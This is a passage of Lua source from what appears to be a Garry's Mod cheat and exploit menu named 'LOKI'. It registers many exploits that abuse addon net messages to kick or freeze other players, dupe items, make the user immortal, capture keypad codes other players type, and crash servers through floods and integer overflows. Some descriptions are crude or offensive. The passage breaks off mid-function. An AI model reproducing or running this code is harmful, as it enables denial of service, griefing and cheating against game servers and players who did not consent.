7904 entity_killed = function(tbl, sploit, varargs)
7905 local data = varargs[1]
7906 local ent = Entity(data.entindex_killed)
7907 local t = LOKI.GetStored( "immortal_plyz", {} )
7908 if table.HasValue( t, ent ) then
7909 if(ent:IsPlayer()) then
7910 LOKI.NetStart( sploit, "RevivePlayer")
7911 net.WriteEntity(ent)
7912 net.SendToServer()
7913 end
7914 end
7915 end,
7916 player_spawn = function(tbl, sploit, varargs)
7917 local data = varargs[1]
7918 local ent = Player(data.userid)
7919 local t = LOKI.GetStored( "immortal_plyz", {} )
7920 if table.HasValue( t, ent ) then
7921 if(ent:IsPlayer()) then
7922 LOKI.NetStart( sploit, "RevivePlayer")
7923 net.WriteEntity(ent)
7924 net.SendToServer()
7925 end
7926 end
7927 end,
7928 },
7929 functions = {
7930 { typ = "players", addr = "immortal_plyz" },
7931 { typ = "bool", },
7932 },
7933 } )
7934 LOKI.AddExploit( "Zombie Mode", {
7935 desc = "Become immortal",
7936 severity = 1,
7937 bools = {enabled = false},
7938 status = 1,
7939 times_per_tick = 1,
7940 vars = {},
7941 scan = function() return LOKI.ValidNetString( "revival_revive_accept" ) end,
7942 hooks = {
7943 entity_killed = function(tbl, sploit, varargs)
7944 local data = varargs[1]
7945 local ent = Entity(data.entindex_killed)
7946 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
7947 LOKI.NetStart( sploit, "revival_revive_accept")
7948 net.SendToServer()
7949 end
7950 end,
7951 },
7952 functions = {
7953 { typ = "bool", },
7954 },
7955 } )
7956 LOKI.AddExploit( "Zombie Mode", {
7957 desc = "Infect players with the T-Virus",
7958 severity = 1,
7959 bools = {enabled = false},
7960 status = 1,
7961 times_per_tick = 1,
7962 vars = {},
7963 scan = function() return LOKI.ValidNetString( "MakeZombie" ) end,
7964 hooks = {
7965 Think = function(tbl, sploit, varargs)
7966 for k, v in pairs(LOKI.GetStored("zomb_plyz", {})) do
7967 if(!IsValid(v)) then continue end
7968 LOKI.NetStart(sploit, "MakeZombie")
7969 net.WriteEntity(v)
7970 net.SendToServer()
7971 end
7972 end,
7973 },
7974 functions = {
7975 { typ = "players", addr = "zomb_plyz" },
7976 { typ = "bool", },
7977 },
7978 } )
7979 LOKI.AddExploit( "Zombie Mode", {
7980 desc = "Recover from any injury",
7981 severity = 1,
7982 bools = {enabled = false},
7983 status = 1,
7984 times_per_tick = 1,
7985 vars = {},
7986 scan = function() return LOKI.ValidNetString( "UseMedkit" ) end,
7987 hooks = {
7988 Think = function(tbl, sploit, varargs)
7989 for k, v in pairs(LOKI.GetStored("zomb2_plyz", {})) do
7990 if(!IsValid(v)) then continue end
7991 LOKI.NetStart(sploit, "UseMedkit")
7992 net.WriteEntity(v)
7993 net.SendToServer()
7994 end
7995 end,
7996 },
7997 functions = {
7998 { typ = "players", addr = "zomb2_plyz" },
7999 { typ = "bool", },
8000 },
8001 } )
8002 LOKI.AddExploit( "Zombie Mode", {
8003 desc = "Become immortal",
8004 severity = 1,
8005 bools = {enabled = false},
8006 status = 1,
8007 times_per_tick = 1,
8008 vars = {},
8009 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
8010 hooks = {
8011 entity_killed = function(tbl, sploit, varargs)
8012 local data = varargs[1]
8013 local ent = Entity(data.entindex_killed)
8014 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
8015 sploit.vars.pos = ent:GetPos()
8016 end
8017 end,
8018 player_spawn = function(tbl, sploit, varargs)
8019 local data = varargs[1]
8020 local ent = Player(data.userid)
8021 if(ent:IsPlayer() && ent == LOKI.GetLP() && sploit.vars.pos != Vector(0,0,0)) then
8022 LOKI.NetStart(sploit, "079ServerAction")
8023 net.WriteString("Move")
8024 net.WriteVector(sploit.vars.pos)
8025 net.SendToServer()
8026 sploit.vars.pos = Vector(0,0,0)
8027 end
8028 end,
8029 },
8030 functions = {
8031 { typ = "bool", },
8032 },
8033 } )
8034 LOKI.AddExploit( "Dupe Weapons", {
8035 desc = "Hold any gun and press button to dupe",
8036 severity = 1,
8037 bools = {enabled = false},
8038 status = 1,
8039 times_per_tick = math.huge,
8040 scan = function() return LOKI.ValidNetString( "ItemStoreSyncItem", "RevivePlayer" ) end,
8041 hooks = {
8042 Think = function(tbl, sploit)
8043 LOKI.RCC(sploit, "kill")
8044 LOKI.RCC(sploit, "darkrp", "invholster")
8045 LOKI.NetStart(sploit, "RevivePlayer")
8046 net.WriteEntity(LOKI.GetLP())
8047 net.SendToServer()
8048 end,
8049 },
8050 functions = {
8051 { typ = "func", Name = "Dupe" },
8052 },
8053 } )
8054 LOKI.AddExploit( "Dupe Weapons", {
8055 desc = "Disassemble your weapons then nurse them back to health",
8056 severity = 1,
8057 bools = {enabled = false},
8058 status = 1,
8059 times_per_tick = math.huge,
8060 scan = function() return LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" ) || istable(itemstore) end,
8061 hooks = {
8062 Think = function(tbl, sploit)
8063 if(LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" )) then
8064 LOKI.NetStart(sploit, {"ItemStoreSplit", "_ItemStoreSplit"})
8065 net.WriteUInt(LOKI.GetLP().InventoryID, 32)
8066 net.WriteUInt(tonumber(LOKI.GetStored( "dupe_index", 1 )), 32)
8067 net.WriteUInt(0, 32)
8068 net.SendToServer()
8069 else
8070 LOKI.RCC( "itemstore_split", LOKI.GetLP().InventoryID, tonumber(LOKI.GetStored( "dupe_index", 1 )), 0 )
8071 end
8072 end,
8073 },
8074 functions = {
8075 { typ = "float", Name = "Index", default = 1, min = 0, max = math.huge, addr = "dupe_index" },
8076 { typ = "func", Name = "Dupe"},
8077 },
8078 } )
8079 LOKI.AddExploit( "Freeze Players", {
8080 desc = "Freeze selected players next time they respawn",
8081 severity = 50,
8082 bools = {enabled = false},
8083 status = 1,
8084 times_per_tick = 1,
8085 vars = {},
8086 scan = function() return LOKI.ValidNetString( "NLR.ActionPlayer" ) end,
8087 hooks = {
8088 Think = function(tbl, sploit)
8089 for k, v in ipairs( LOKI.GetStored( "freeze_plyz", {} ) ) do
8090 if IsValid(v) then
8091 if(v:IsPlayer()) then
8092 LOKI.NetStart( sploit, "NLR.ActionPlayer")
8093 net.WriteEntity(v)
8094 net.SendToServer()
8095 end
8096 end
8097 end
8098 end,
8099 },
8100 functions = {
8101 { typ = "players", addr = "freeze_plyz" },
8102 { typ = "bool", },
8103 },
8104 } )
8105 LOKI.AddExploit( "Kick Exploit", {
8106 desc = "Kick selected players",
8107 severity = 1,
8108 bools = {enabled = false},
8109 status = 3,
8110 times_per_tick = 1,
8111 vars = {},
8112 scan = function() return LOKI.ValidNetString( "plyWarning" ) end,
8113 hooks = {
8114 Think = function(tbl, sploit)
8115 for k, v in ipairs( LOKI.GetStored( "kick_plyz", {} ) ) do
8116 if IsValid( v ) then
8117 if(v:IsPlayer()) then
8118 LOKI.NetStart( sploit, "plyWarning")
8119 net.WriteEntity(v)
8120 net.WriteString('You have to select a player before doing a action.')
8121 net.SendToServer()
8122 end
8123 end
8124 end
8125 end,
8126 },
8127 functions = {
8128 { typ = "players", addr = "kick_plyz" },
8129 { typ = "func", Name = "Kick" },
8130 },
8131 } )
8132 LOKI.AddExploit( "Kick Exploit", {
8133 desc = "Kick selected players",
8134 severity = 1,
8135 bools = {enabled = false},
8136 status = -1,
8137 times_per_tick = 1,
8138 vars = {},
8139 scan = function() return LOKI.ValidNetString( "NLRKick" ) end,
8140 hooks = {
8141 Think = function(tbl, sploit)
8142 for k, v in ipairs( LOKI.GetStored( "kick2_plyz", {} ) ) do
8143 if IsValid( v ) then
8144 if(v:IsPlayer()) then
8145 LOKI.NetStart( sploit, "NLRKick")
8146 net.WriteEntity(v)
8147 net.SendToServer()
8148 end
8149 end
8150 end
8151 end,
8152 },
8153 functions = {
8154 { typ = "players", addr = "kick2_plyz" },
8155 { typ = "func", Name = "Kick" },
8156 },
8157 } )
8158 LOKI.AddExploit( "Kick Exploit", {
8159 desc = "Kick selected players",
8160 severity = 1,
8161 bools = {enabled = false},
8162 status = -1,
8163 times_per_tick = 1,
8164 vars = {},
8165 scan = function() return LOKI.ValidNetString( "RecKickAFKer" ) end,
8166 hooks = {
8167 Think = function(tbl, sploit)
8168 for k, v in ipairs( LOKI.GetStored( "kick3_plyz", {} ) ) do
8169 if IsValid(v) then
8170 if(v:IsPlayer()) then
8171 LOKI.NetStart( sploit, "RecKickAFKer")
8172 net.WriteEntity(v)
8173 net.SendToServer()
8174 end
8175 end
8176 end
8177 end,
8178 },
8179 functions = {
8180 { typ = "players", addr = "kick3_plyz" },
8181 { typ = "func", Name = "Kick" },
8182 },
8183 } )
8184 LOKI.AddExploit( "Kick Exploit", {
8185 desc = "Kick all nearby players and cause lag",
8186 severity = 1,
8187 bools = {enabled = false},
8188 status = 1,
8189 times_per_tick = math.huge,
8190 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" )) end,
8191 hooks = {
8192 Think = function(tbl, sploit)
8193 LOKI.NetStart( sploit, "bodyman_model_change")
8194 net.WriteInt( 0, 8 )
8195 net.SendToServer()
8196 end,
8197 },
8198 functions = {
8199 { typ = "bool", },
8200 },
8201 } )
8202 LOKI.AddExploit( "Kick Exploit", {
8203 desc = "Kick all players",
8204 severity = 1,
8205 bools = {enabled = false},
8206 status = 2,
8207 times_per_tick = math.huge,
8208 scan = function() return (LOKI.ValidNetString( "simfphys_turnsignal" )) end,
8209 hooks = {
8210 Think = function(tbl, sploit)
8211 LOKI.NetStart( sploit, "simfphys_turnsignal")
8212 net.WriteEntity(LOKI.GetLP())
8213 net.SendToServer()
8214 end,
8215 },
8216 functions = {
8217 { typ = "bool", },
8218 },
8219 } )
8220 LOKI.AddExploit( "Kick Exploit", {
8221 desc = "Kick selected players",
8222 severity = 1,
8223 bools = {enabled = false},
8224 status = 2,
8225 times_per_tick = 1,
8226 vars = {},
8227 scan = function() return LOKI.ValidNetString( "send" ) end,
8228 hooks = {
8229 Think = function(tbl, sploit)
8230 for k, v in ipairs( LOKI.GetStored( "kick4_plyz", {} ) ) do
8231 if IsValid(v) then
8232 if(v:IsPlayer()) then
8233 LOKI.NetStart( sploit, "send")
8234 net.WriteTable({1})
8235 net.WriteTable({1})
8236 net.WriteEntity(v)
8237 net.WriteString("GET ODIUM.PRO")
8238 net.SendToServer()
8239 end
8240 end
8241 end
8242 end,
8243 },
8244 functions = {
8245 { typ = "players", addr = "kick4_plyz" },
8246 { typ = "func", Name = "Kick" },
8247 },
8248 } )
8249 LOKI.AddExploit( "Kick Exploit", {
8250 desc = "Kick selected players",
8251 severity = 1,
8252 bools = {enabled = false},
8253 status = 1,
8254 times_per_tick = math.huge,
8255 vars = {},
8256 scan = function() return LOKI.ValidNetString( "sendteslaeffect" ) end,
8257 hooks = {
8258 Think = function(tbl, sploit)
8259 for k, v in ipairs( LOKI.GetStored( "kick5_plyz", {} ) ) do
8260 if IsValid(v) then
8261 if(v:IsPlayer()) then
8262 LOKI.NetStart( sploit, "sendteslaeffect")
8263 net.WriteEntity(v)
8264 net.SendToServer()
8265 end
8266 end
8267 end
8268 end,
8269 },
8270 functions = {
8271 { typ = "players", addr = "kick5_plyz" },
8272 { typ = "bool" },
8273 },
8274 } )
8275 LOKI.AddExploit( "Respawn Exploit", {
8276 desc = "Respawn yourself",
8277 severity = 1,
8278 bools = {enabled = false},
8279 status = 1,
8280 times_per_tick = 1,
8281 vars = {},
8282 scan = function() return LOKI.DynamicNetString("DarkRP_", "_ForceSpawn") end,
8283 hooks = {
8284 Think = function(tbl, sploit)
8285 LOKI.NetStart( sploit, sploit.channel )
8286 net.SendToServer()
8287 end,
8288 },
8289 functions = {
8290 { typ = "func", Name = "Respawn", args = {}, },
8291 },
8292 } )
8293 LOKI.AddExploit( "Respawn Exploit", {
8294 desc = "Respawn yourself",
8295 severity = 1,
8296 bools = {enabled = false},
8297 status = 1,
8298 times_per_tick = 1,
8299 vars = {},
8300 scan = function() return LOKI.ValidNetString( "NLR_SPAWN" ) end,
8301 hooks = {
8302 Think = function(tbl, sploit)
8303 LOKI.NetStart( sploit, "NLR_SPAWN")
8304 net.WriteEntity(LOKI.GetLP())
8305 net.SendToServer()
8306 end,
8307 },
8308 functions = {
8309 { typ = "func", Name = "Respawn", args = {}, },
8310 },
8311 } )
8312 LOKI.AddExploit( "Steal Police Guns", {
8313 desc = "WE WUZ KANGZ ND SHIET!",
8314 severity = 1,
8315 bools = {enabled = false},
8316 status = 1,
8317 times_per_tick = 1,
8318 vars = {},
8319 scan = function() return LOKI.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
8320 hooks = {
8321 Think = function(tbl, sploit)
8322 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8323 r_tbl.cooldown = (LOKI.REAL_CURTIME + 300)
8324 LOKI.NetStart( sploit, "ARMORY_RetrieveWeapon")
8325 net.WriteString("weapon" .. tbl[1])
8326 net.SendToServer()
8327 end,
8328 },
8329 functions = {
8330 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon1Name || "M16"), args = {1}, },
8331 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon2Name || "Shotgun"), args = {2}, },
8332 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon3Name || "Sniper"), args = {3}, },
8333 },
8334 } )
8335 LOKI.AddExploit( "Build/Kill", {
8336 desc = "Back in my day, we didn't need 'safe spaces'",
8337 severity = 1,
8338 bools = {enabled = false},
8339 status = 1,
8340 times_per_tick = 1,
8341 vars = {},
8342 scan = function() return LOKI.ValidNetString( "BuilderXToggleKill" ) end,
8343 hooks = {
8344 Think = function(tbl, sploit)
8345 for k, v in ipairs( LOKI.GetStored( "buildkill_plyz", {} ) ) do
8346 if !IsValid(v) then continue end
8347 if(tbl[1] == 1) then
8348 LOKI.NetStart( sploit, "BuilderXToggleBuild")
8349 net.WriteEntity(v)
8350 net.SendToServer()
8351 elseif(tbl[1] == 2) then
8352 LOKI.NetStart( sploit, "BuilderXToggleKill")
8353 net.WriteEntity(v)
8354 net.SendToServer()
8355 end
8356 end
8357 end,
8358 },
8359 functions = {
8360 { typ = "players", addr = "buildkill_plyz" },
8361 { typ = "func", Name = "Toggle Build", args = {1}, },
8362 { typ = "func", Name = "Toggle Kill", args = {2}, }
8363 },
8364 } )
8365 LOKI.AddExploit( "Keypad Hacker", {
8366 desc = "Roleplay as a Hacker by exploding all nearby keypads",
8367 severity = 1,
8368 bools = {enabled = false},
8369 status = 1,
8370 times_per_tick = 1,
8371 vars = {},
8372 scan = function() return LOKI.ValidNetString( "start_wd_emp" ) end,
8373 hooks = {
8374 Think = function(tbl, sploit)
8375 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8376 r_tbl.cooldown = (LOKI.REAL_CURTIME + 100)
8377 LOKI.NetStart( sploit, "start_wd_emp")
8378 net.SendToServer()
8379 end,
8380 },
8381 functions = {
8382 { typ = "func", Name = "Hack", },
8383 },
8384 } )
8385 LOKI.AddExploit( "Ja, Mein Führer", {
8386 desc = "Submit candidacy for the Führer election",
8387 severity = 1,
8388 bools = {enabled = false},
8389 status = 1,
8390 times_per_tick = 1,
8391 vars = {},
8392 scan = function() return LOKI.ValidNetString( "1942_Fuhrer_SubmitCandidacy" ) end,
8393 hooks = {
8394 Think = function(tbl, sploit)
8395 LOKI.NetStart( sploit, "1942_Fuhrer_SubmitCandidacy")
8396 net.WriteString(LOKI.GetLP():Nick())
8397 net.SendToServer()
8398 end,
8399 },
8400 functions = {
8401 { typ = "func", Name = "Submit", },
8402 },
8403 } )
8404 LOKI.AddExploit( "Keypad Hacker", {
8405 desc = "Inspector gadget these fools",
8406 severity = 1,
8407 bools = {enabled = false},
8408 status = 1,
8409 times_per_tick = 1,
8410 vars = {},
8411 scan = function() return LOKI.DynamicNetString( "keypad" ) end,
8412 hooks = {
8413 PostRender = function(tbl, sploit)
8414 local e = LOKI.GetLP():GetEyeTrace().Entity
8415 if IsValid(e) and e.GetStatus then
8416 local text;
8417 local color;
8418 if(LOKI.KeypadCodes[e] && LOKI.KeypadCodes[e] != "") then
8419 text = LOKI.KeypadCodes[e];
8420 color = Color( 105, 255, 105, 150 )
8421 elseif(LOKI.TempKeypadCodes[e] && LOKI.TempKeypadCodes[e] != "") then
8422 text = LOKI.TempKeypadCodes[e];
8423 color = Color( 250, 150, 150, 150 )
8424 else
8425 text = "Unknown"
8426 color = Color(150,150,150,150)
8427 end
8428 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8429 surface.SetMaterial( grad )
8430 surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
8431 LOKI.DrawText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8432 end
8433 for k,v in ipairs(LOKI.ents.FindByGlobal("GetStatus")) do
8434 if(v.GetNumStars && !v.GetText) then
8435 v.GetText = function() return string.rep('*', v:GetNumStars()) end
8436 end
8437 if(!v.GetSecure) then
8438 v.GetSecure = function() return true end
8439 end
8440 if IsValid(v) then
8441 if v != e and LOKI.GetLP():GetPos():Distance( v:GetPos() ) < 8000 then
8442 local pos = v:GetPos():ToScreen()
8443 if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
8444 if (LOKI.KeypadCodes[v] && LOKI.KeypadCodes[v] != "") then
8445 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8446 surface.SetMaterial( grad )
8447 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8448 LOKI.DrawText( LOKI.KeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8449 else
8450 if(LOKI.TempKeypadCodes[v] && LOKI.TempKeypadCodes[v] != "") then
8451 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8452 surface.SetMaterial( grad )
8453 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8454 LOKI.DrawText( LOKI.TempKeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8455 else
8456 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8457 surface.SetMaterial( grad )
8458 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8459 LOKI.DrawText( "Unknown", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8460 end
8461 end
8462 end
8463 end
8464 end
8465 end
8466 end,
8467 Tick = function(tbl, sploit)
8468 for k, v in ipairs( player.GetAll() ) do
8469 local kp = v:GetEyeTrace().Entity
8470 if IsValid(kp) && IsValid(v) and kp.GetStatus and v:EyePos():Distance(kp:GetPos()) <= 120 then
8471 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp] or ""
8472 LOKI.KeypadText[kp] = LOKI.KeypadText[kp] or ""
8473 LOKI.KeypadStatus[kp] = LOKI.KeypadStatus[kp] or 0
8474
8475 if isfunction(kp.GetText) && isfunction(kp.GetStatus) && (kp:GetText() != LOKI.KeypadText[kp] or kp:GetStatus() != LOKI.KeypadStatus[kp]) then
8476 LOKI.KeypadText[kp] = kp:GetText()
8477 LOKI.KeypadStatus[kp] = kp:GetStatus()
8478 if(LOKI.KeypadText[kp] && !kp:GetSecure()) then
8479 LOKI.TempKeypadCodes[kp] = LOKI.KeypadText[kp]
8480 if LOKI.KeypadStatus[kp] == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8481 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8482 if(!system.HasFocus()) then system.FlashWindow() end
8483 end
8484 else
8485 local i = LOKI.KPGetHoveredElement(v, kp)
8486 if (i) then i = i.text end
8487 if LOKI.KeypadText[kp] then
8488 if kp:GetStatus() == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8489 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8490 if(!system.HasFocus()) then system.FlashWindow() end
8491 end
8492 end
8493
8494 if LOKI.KeypadText[kp] == "" || kp:GetStatus() == LOKI.GetKeypadStatus(kp)[3] then
8495 LOKI.TempKeypadCodes[kp] = ""
8496 end
8497
8498 if(LOKI.SafeToNumber(i) && (LOKI.SafeToNumber(i) > 0 && LOKI.SafeToNumber(i) < 10) && kp:GetText():len() != 0) then
8499 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp]..LOKI.SafeToNumber(i)
8500 end
8501 end
8502 end
8503 end
8504 end
8505 end,
8506 },
8507 functions = {
8508 { typ = "bool", },
8509 },
8510 } )
8511 LOKI.AddExploit( "Server Crasher", {
8512 desc = "Guaranteed server crash",
8513 severity = 100,
8514 bools = {enabled = false},
8515 status = 1,
8516 times_per_tick = math.huge,
8517 vars = {},
8518 scan = function() return (LOKI.ValidNetString( "textstickers_entdata" ) || LOKI.ValidNetString( "texstickers_entdata" )) && TexStickers end,
8519 hooks = {
8520 Think = function(tbl, sploit)
8521 if(LOKI.ValidNetString( "textstickers_entdata" )) then
8522 LOKI.NetStart( sploit, "textstickers_entdata" )
8523 else
8524 LOKI.NetStart( sploit, "texstickers_entdata" )
8525 end
8526 net.WriteUInt( 0xFFFFFFFF, 32 )
8527 net.SendToServer()
8528 end,
8529 },
8530 functions = {
8531 { typ = "bool", },
8532 },
8533 } )
8534 LOKI.AddExploit( "Server Crasher", {
8535 desc = "Dunks the server in one",
8536 severity = 100,
8537 bools = {enabled = false},
8538 status = 1,
8539 times_per_tick = 1,
8540 vars = {},
8541 scan = function() return LOKI.ValidNetString( "fly_over_end" ) end,
8542 hooks = {
8543 Think = function(tbl, sploit)
8544 LOKI.NetStart( sploit, "fly_over_end" )
8545 net.WriteString(tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)))
8546 net.SendToServer()
8547 end,
8548 },
8549 functions = {
8550 { typ = "func", Name = "Crash Jackson", },
8551 },
8552 } )
8553 LOKI.AddExploit( "Server Crasher", {
8554 desc = "Instantly 1 tap the server",
8555 severity = 100,
8556 bools = {enabled = false},
8557 status = 3,
8558 times_per_tick = 1,
8559 vars = {},
8560 scan = function() return LOKI.ValidNetString( "SimplicityAC_aysent" ) end,
8561 hooks = {
8562 Think = function(tbl, sploit)
8563 LOKI.NetStart( sploit, "SimplicityAC_aysent")
8564 net.WriteUInt(1, 8)
8565 net.WriteUInt(0xFFFFFFFF, 32)
8566 net.WriteTable({})
8567 net.SendToServer()
8568 end,
8569 },
8570 functions = {
8571 { typ = "func", Name = "Crash it", },
8572 },
8573 } )
8574 LOKI.AddExploit( "Server Crasher", {
8575 desc = "Whoops, did I accidentally leave this in here?",
8576 severity = 100,
8577 bools = {enabled = false},
8578 status = 2,
8579 times_per_tick = math.huge,
8580 scan = function() return LOKI.ValidNetString( "rHit.Confirm.Placement" ) end,
8581 hooks = {
8582 Think = function(tbl, sploit)
8583 LOKI.NetStart( sploit, 'rHit.Confirm.Placement' )
8584 net.WriteInt( 0xFFFFFFFF, 32 )
8585 net.WriteEntity( LOKI.GetLP() )
8586 net.SendToServer()
8587 end,
8588 net = {
8589 Receive = function(sploit, strName)
8590 if(strName == "rHit.Send.Message") then
8591 return false
8592 end
8593 end,
8594 },
8595 },
8596 functions = {
8597 { typ = "bool", },
8598 },
8599 } )
8600 LOKI.AddExploit( "Server Crasher", {
8601 desc = "Brutal server rape",
8602 severity = 100,
8603 bools = {enabled = false},
8604 status = 1,
8605 times_per_tick = math.huge,
8606 scan = function() return LOKI.ValidNetString( "thiefnpc" ) || LOKI.ValidNetString( "cst_badnpc" ) end,
8607 hooks = {
8608 Think = function(tbl, sploit)
8609 if(LOKI.ValidNetString( "thiefnpc" )) then
8610 LOKI.NetStart( sploit, "thiefnpc")
8611 elseif(LOKI.ValidNetString( "cst_badnpc" )) then
8612 LOKI.NetStart( sploit, "cst_badnpc")
8613 else
8614 return
8615 end
8616 net.WriteDouble(LOKI.GetLP():EntIndex())
8617 net.SendToServer()
8618 end,
8619 },
8620 functions = {
8621 { typ = "bool", },
8622 },
8623 } )
8624 LOKI.AddExploit( "Server Crasher", {
8625 desc = "memset(SERVER, nullptr, size(SERVER) + 1)",
8626 severity = 100,
8627 bools = {enabled = false},
8628 status = 1,
8629 times_per_tick = math.huge,
8630 scan = function() return LOKI.ValidNetString( "nSetExpression" ) end,
8631 hooks = {
8632 Think = function(tbl, sploit)
8633 if(!sploit.var || sploit.var == 3) then
8634 sploit.var = 1
8635 else
8636 sploit.var = sploit.var + 1
8637 end
8638 LOKI.NetStart( sploit, "nSetExpression")
8639 net.WriteFloat(sploit.var)
8640 net.SendToServer()
8641 end,
8642 },
8643 functions = {
8644 { typ = "bool", },
8645 },
8646 } )
8647 LOKI.AddExploit( "Server Crasher", {
8648 desc = "*flex*",
8649 severity = 100,
8650 bools = {enabled = false},
8651 status = 1,
8652 times_per_tick = math.huge,
8653 msgs_per_tick = 2,
8654 scan = function() return LOKI.ValidNetString( "TowTruck_CreateTowTruck", "TOWTRUCK_RemoveTowTruck" ) end,
8655 hooks = {
8656 Think = function(tbl, sploit)
8657 LOKI.NetStart( sploit, "TowTruck_CreateTowTruck")
8658 net.SendToServer()
8659 LOKI.NetStart( sploit, "TOWTRUCK_RemoveTowTruck")
8660 net.SendToServer()
8661 end,
8662 usermessage = {
8663 IncomingMessage = function(sploit, varargs)
8664 if(varargs[1] == "_Notify") then
8665 return false
8666 end
8667 end,
8668 },
8669 },
8670 functions = {
8671 { typ = "bool", },
8672 },
8673 } )
8674 LOKI.AddExploit( "Server Crasher", {
8675 desc = tostring(LOKI.GetLP()) .. " hit SERVER in head for 100 damage",
8676 severity = 100,
8677 bools = {enabled = false},
8678 status = 2,
8679 times_per_tick = math.huge,
8680 scan = function() return LOKI.ValidNetString( "StaminaDrowning" ) end,
8681 hooks = {
8682 Think = function(tbl, sploit)
8683 LOKI.NetStart( sploit, "StaminaDrowning")
8684 net.SendToServer()
8685 end,
8686 },
8687 functions = {
8688 { typ = "bool", },
8689 },
8690 } )
8691 LOKI.AddExploit( "Server Crasher", {
8692 desc = "game.GetWorld():Activate()",
8693 severity = 100,
8694 bools = {enabled = false},
8695 status = 1,
8696 times_per_tick = math.huge,
8697 vars = {},
8698 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
8699 initial = function(sploit)
8700 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8701 if(!vars.NAME) then
8702 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
8703 if(ItemsList) then
8704 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
8705 if(!v.LoadData) then
8706 vars.NAME = v.NAME
8707 break
8708 end
8709 end
8710 end
8711 end
8712 end,
8713 hooks = {
8714 Think = function(tbl, sploit)
8715 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8716 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
8717 net.WriteTable({type = 6, ENTITY = "worldspawn", SKIN = 0, MODEL = "models/error.mdl", NAME = vars.NAME || "Beer"})
8718 net.WriteInt(0, 16)
8719 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
8720 net.SendToServer()
8721 end,
8722 },
8723 functions = {
8724 { typ = "bool", Name = "Give me shit", },
8725 },
8726 } )
8727 --WUMAAccessStream has a ReadData related lag exploit
8728 LOKI.AddExploit( "Server Crasher", {
8729 desc = "Crashes any server",
8730 severity = 100,
8731 bools = {enabled = false},
8732 status = 1,
8733 times_per_tick = math.huge,
8734 scan = function() return LOKI.ValidNetString( "npctool_relman_up" ) end,
8735 hooks = {
8736 Think = function(tbl, sploit)
8737 LOKI.NetStart(sploit, "npctool_relman_up")
8738 net.WriteUInt(-1, 12)
8739 net.SendToServer()
8740 end,
8741 },
8742 functions = {
8743 { typ = "bool" },
8744 },
8745 } )
8746 LOKI.AddExploit( "Server Crasher", {
8747 desc = "Overflow the server bathtub",
8748 severity = 100,
8749 bools = {enabled = false},
8750 status = 1,
8751 times_per_tick = math.huge,
8752 scan = function() return LOKI.ValidNetString( "CreateBadgeSpray" ) end,
8753 hooks = {
8754 Think = function(tbl, sploit)
8755 LOKI.NetStart( sploit, "CreateBadgeSpray")
8756 net.SendToServer()
8757 end,
8758 },
8759 functions = {
8760 { typ = "bool", },
8761 },
8762 } )
8763 LOKI.AddExploit( "Server Crasher", {
8764 desc = "Shred the server",
8765 severity = 100,
8766 bools = {enabled = false},
8767 status = 1,
8768 times_per_tick = math.huge,
8769 scan = function() return LOKI.ValidNetString( "CallP" ) end,
8770 hooks = {
8771 Think = function(tbl, sploit)
8772 LOKI.NetStart( sploit, "CallP" )
8773 net.WriteEntity(LOKI.GetLP())
8774 net.WriteBit(true)
8775 net.SendToServer()
8776 end,
8777 },
8778 functions = {
8779 { typ = "bool", },
8780 },
8781 } )
8782 LOKI.AddExploit( "Server Crasher", {
8783 desc = "Burst the servers ear drums",
8784 severity = 100,
8785 bools = {enabled = false},
8786 status = 1,
8787 times_per_tick = math.huge,
8788 scan = function() return usermessage.GetTable()["sounds_yo"] != nil || LOKI.ValidNetString("sounds_yo") end,
8789 hooks = {
8790 Think = function(tbl, sploit)
